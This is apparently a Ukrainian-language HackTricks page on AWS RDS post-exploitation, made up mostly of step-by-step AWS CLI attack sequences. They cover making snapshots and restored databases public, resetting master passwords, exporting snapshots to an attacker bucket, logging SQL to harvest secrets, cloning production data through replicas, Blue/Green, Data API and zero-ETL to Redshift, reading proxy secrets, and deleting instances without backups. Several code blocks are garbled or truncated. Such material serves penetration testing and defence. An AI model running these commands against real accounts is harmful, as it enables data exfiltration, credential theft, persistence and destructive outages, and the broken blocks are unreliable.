39 KiB
AWS - RDS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
RDS
Для отримання додаткової інформації див.:
{{#ref}} ../../aws-services/aws-relational-database-rds-enum.md {{#endref}}
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Якщо в нападника достатньо дозволів, він може зробити DB публічно доступною, створивши snapshot DB, а потім створивши з нього публічно доступну DB.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:StopDBCluster & rds:StopDBInstance
Атакуючий з правами rds:StopDBCluster або rds:StopDBInstance може примусово негайно зупинити екземпляр RDS або весь кластер, спричиняючи недоступність бази даних, розірвані з'єднання та переривання процесів, що залежать від бази даних.
Щоб зупинити один екземпляр DB (приклад):
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
Щоб зупинити весь DB cluster (наприклад):
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
rds:Modify*
Атакувальник, якому надано права rds:Modify*, може змінювати критично важливі конфігурації та допоміжні ресурси (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations тощо) без прямого втручання в інстанс чи кластер. Зміни, такі як регулювання параметрів підключення/time-out, зміна proxy endpoint, модифікація того, яким certificates довіряють, зміна логічної ємності або переналаштування subnet group можуть послабити безпеку (відкрити нові шляхи доступу), порушити маршрутизацію та load-balancing, знецінити replication/backup політики та загалом погіршити доступність або відновлюваність. Ці модифікації також можуть полегшити непряму data exfiltration або ускладнити впорядковане відновлення бази даних після інциденту.
Move or change the subnets assigned to an RDS subnet group:
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
Змінити низькорівневі engine parameters у cluster parameter group:
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
rds:Restore*
Зловмисник із дозволами rds:Restore* може відновлювати цілі бази даних зі знімків, автоматичних резервних копій, відновлення до певної точки в часі (PITR) або з файлів, що зберігаються в S3, створюючи нові інстанси чи кластери, наповнені даними з вибраної точки. Ці операції не перезаписують оригінальні ресурси — вони створюють нові об'єкти, що містять історичні дані — що дозволяє зловмиснику отримати повні, працездатні копії бази даних (з попередніх точок часу або з зовнішніх файлів S3) і використовувати їх для exfiltrate даних, маніпулювання історичними записами або відтворення попередніх станів.
Відновити DB інстанс до конкретної точки часу:
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
rds:Delete*
Атакуючий, якому надано rds:Delete*, може видаляти RDS resources — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups та пов’язані артефакти, що призводить до негайного відключення сервісу, втрати даних, знищення recovery points і втрати судових доказів.
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Атакуючий з цими дозволами може створити snapshot DB і зробити його публічно доступним. Потім він може просто створити у своєму акаунті DB з цього snapshot.
Якщо атакуючий не має rds:CreateDBSnapshot, він все одно може зробити інші створені snapshots публічними.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Зловмисник, який має дозвіл rds:DownloadDBLogFilePortion, може download portions of an RDS instance's log files. Якщо в логах випадково опиняться чутливі дані або облікові дані доступу, зловмисник потенційно зможе використати цю інформацію для ескалації привілеїв або виконання несанкціонованих дій.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Потенційний вплив: Доступ до чутливої інформації або несанкціоновані дії з використанням leaked credentials.
rds:DeleteDBInstance
Атакуючий з такими дозволами може DoS existing RDS instances.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Потенційний вплив: Видалення існуючих RDS інстансів та потенційна втрата даних.
rds:StartExportTask
Note
TODO: Test
Зловмисник з цим дозволом може експортувати снапшот інстансу RDS у S3 bucket. Якщо зловмисник має контроль над цільовим S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому снапшоті.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Можливий вплив: Доступ до чутливих даних у експортованому snapshot.
Cross-Region Automated Backups Replication for Stealthy Restore (rds:StartDBInstanceAutomatedBackupsReplication)
Зловживання cross-Region automated backups replication для тихого дублювання автоматичних резервних копій інстансу RDS в інший AWS Region та відновлення їх там. Атакуючий може зробити відновлену DB публічно доступною та скинути master password, щоб отримати доступ до даних out-of-band у Region, який захисники можуть не моніторити.
Permissions needed (minimum):
rds:StartDBInstanceAutomatedBackupsReplicationin the destination Regionrds:DescribeDBInstanceAutomatedBackupsin the destination Regionrds:RestoreDBInstanceToPointInTimein the destination Regionrds:ModifyDBInstancein the destination Regionrds:StopDBInstanceAutomatedBackupsReplication(опціонально — прибирання)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(щоб відкрити доступ до відновленої DB)
Impact: Persistence and data exfiltration by restoring a copy of production data into another Region and exposing it publicly with attacker-controlled credentials.
Повний CLI (замініть заповнювачі)
```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
--source-region <SOURCE_REGION>
--backup-retention-period 7
3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups
--region <DEST_REGION>
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]'
--output table
Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time
--region <DEST_REGION>
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
--target-db-instance-identifier <TARGET_DB_ID>
--use-latest-restorable-time
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
5) Make public and reset credentials in DEST
5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION>
--group-name open-rds- --description open --vpc-id <DEST_VPC_ID>
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION>
--group-id "$OPEN_SG_ID"
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--publicly-accessible
--vpc-security-group-ids "$OPEN_SG_ID"
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--master-user-password '<NEW_STRONG_PASSWORD>'
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
</details>
### Увімкніть повне логування SQL через групи параметрів DB та ексфільтруйте через RDS log APIs
Зловживання `rds:ModifyDBParameterGroup` разом із RDS log download APIs для фіксації всіх SQL-операцій, що виконуються додатками (не потрібні DB engine credentials). Увімкніть engine SQL logging і завантажуйте файли журналів через `rds:DescribeDBLogFiles` та `rds:DownloadDBLogFilePortion` (або REST `downloadCompleteLogFile`). Корисно для збору запитів, які можуть містити secrets/PII/JWTs.
Необхідні дозволи (мінімум):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (лише для приєднання кастомної групи параметрів, якщо інстанс використовує стандартну)
- `rds:RebootDBInstance` (для параметрів, що вимагають перезавантаження, напр., PostgreSQL)
Кроки
1) Recon ціль та поточну групу параметрів
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Переконайтеся, що приєднано власну DB parameter group (за замовчуванням редагувати не можна)
- Якщо інстанс вже використовує власну групу, повторно використайте її назву на наступному кроці.
- Інакше створіть і приєднайте таку, що відповідає сімейству engine:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Увімкнути детальне логування SQL
- MySQL engines (негайно / без перезавантаження):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- PostgreSQL engines (вимагає перезавантаження):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Дайте робочому навантаженню виконуватися (або згенеруйте запити). Запити будуть записані у файли журналів движка
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Знайдіть і завантажте журнали (облікові дані БД не потрібні)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Проаналізувати офлайн на наявність конфіденційних даних
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Приклад доказів (редаговано):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Очищення
- Відновити параметри до значень за замовчуванням і перезавантажити, якщо потрібно:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Вплив: Post-exploitation доступ до даних шляхом перехоплення всіх SQL-запитів застосунку через AWS APIs (без облікових даних БД), що може призвести до leaking секретів, JWTs і PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
Зловживання RDS read replicas для отримання out-of-band read access без втручання в облікові дані первинного інстансу. Атакуючий може створити read replica з production instance, скинути master password репліки (це не змінює primary), і опціонально зробити репліку публічною для exfiltrate даних.
Permissions needed (minimum):
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(якщо робити її публічною)
Вплив: Доступ лише для читання до виробничих даних через репліку з обліковими даними під контролем атакуючого; менша ймовірність виявлення, оскільки первинний інстанс залишається недоторканим і реплікація продовжується.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
Приклад доказів (MySQL):
- Статус репліки БД:
available, реплікація для читання:replicating - Успішне підключення з новим паролем і
@@read_only=1, що підтверджує доступ репліки лише для читання.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
Зловживайте RDS Blue/Green, щоб клонувати production DB у постійно репліковане, доступне лише для читання green середовище. Потім скиньте green master credentials, щоб отримати доступ до даних, не зачіпаючи blue (prod) інстанс. Це менш помітно, ніж snapshot sharing, і часто обходить моніторинг, орієнтований лише на джерело.
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Вплив: доступ лише для читання, але повний доступ до даних у майже реальному клоні production без модифікації production instance. Корисно для прихованого витягання даних та офлайн-аналізу.
Out-of-band SQL через RDS Data API шляхом увімкнення HTTP endpoint + скидання master password
Зловживайте Aurora, щоб увімкнути RDS Data API HTTP endpoint на цільовому кластері, скинути master password на значення під вашим контролем та виконувати SQL через HTTPS (не потрібен мережевий шлях у VPC). Працює на движках Aurora, які підтримують Data API/EnableHttpEndpoint (наприклад, Aurora MySQL 8.0 provisioned; деякі версії Aurora PostgreSQL/MySQL).
Permissions (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Вплив: обходить сегментацію мережі та дозволяє exfiltrate дані через AWS APIs без прямого VPC підключення до DB.
Повний приклад через CLI (Aurora MySQL example)
```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)2) Enable Data API HTTP endpoint on the cluster
Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--enable-http-endpoint --apply-immediately
Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].HttpEndpointEnabled' --output text
3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
&& break
sleep 10
done
4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}'
--query ARN --output text)
5) Prove out-of-band SQL via HTTPS using rds-data
(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;"
--format-records-as JSON
</details>
Примітки:
- Якщо rds-data відхиляє multi-statement SQL, виконуйте окремі виклики execute-statement.
- Для двигунів, де modify-db-cluster --enable-http-endpoint не має ефекту, використовуйте rds enable-http-endpoint --resource-arn.
- Переконайтеся, що двигун/версія дійсно підтримує Data API; інакше HttpEndpointEnabled залишатиметься False.
### Збирання облікових даних DB через секрети автентифікації RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Зловживання конфігурацією RDS Proxy для виявлення секрету в Secrets Manager, який використовується для автентифікації бекенда, а потім читання цього секрету для отримання облікових даних бази даних. У багатьох середовищах надають широкі дозволи `secretsmanager:GetSecretValue`, що робить це низькофрикційним шляхом до DB creds. Якщо секрет використовує CMK, неправильно масштабовані дозволи KMS можуть також надати `kms:Decrypt`.
Необхідні дозволи (мінімум):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` на вказаному SecretArn
- Опційно, якщо секрет використовує CMK: `kms:Decrypt` на цьому ключі
Наслідки: Негайне розкриття імені користувача/пароля DB, налаштованих на проксі; дозволяє прямий доступ до DB або подальший латеральний рух.
Кроки
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
Лаб (мінімум для відтворення)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Очищення (лабораторія)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Потайне безперервне виведення даних через Aurora zero‑ETL до Amazon Redshift (rds:CreateIntegration)
Зловживання Aurora PostgreSQL zero‑ETL integration для безперервної реплікації продукційних даних у Redshift Serverless namespace під вашим контролем. За наявності дозволяючої ресурсної політики Redshift, яка авторизує CreateInboundIntegration/AuthorizeInboundIntegration для конкретного Aurora cluster ARN, нападник може встановити майже реальний час копію даних без DB creds, snapshots або мережевого експонування.
Permissions needed (minimum):
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(to query)rds-data:ExecuteStatement(optional; to seed data if needed)
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Створити Redshift Serverless namespace + workgroup
```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```2) Налаштуйте політику ресурсів Redshift, щоб дозволити джерело Aurora
```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <3) Створити Aurora PostgreSQL кластер (увімкнути Data API та логічну реплікацію)
```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```4) Створити zero‑ETL інтеграцію з RDS
```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```5) Матеріалізація та виконання запитів до реплікованих даних у Redshift
```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```Докази, виявлені під час тесту:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION показав integration_id 377a462b-c42c-4f08-937b-77fe75d98211 і стан PendingDbConnectState перед створенням DB.
- Після CREATE DATABASE FROM INTEGRATION, при переліку таблиць виявлено схему ztl і таблицю customers; запит до ztl.customers повернув 2 рядки (Alice, Bob).
Вплив: Постійна near‑real‑time exfiltration вибраних таблиць Aurora PostgreSQL у Redshift Serverless під контролем attacker, без використання database credentials, backups або network access до вихідного кластера.
{{#include ../../../../banners/hacktricks-training.md}}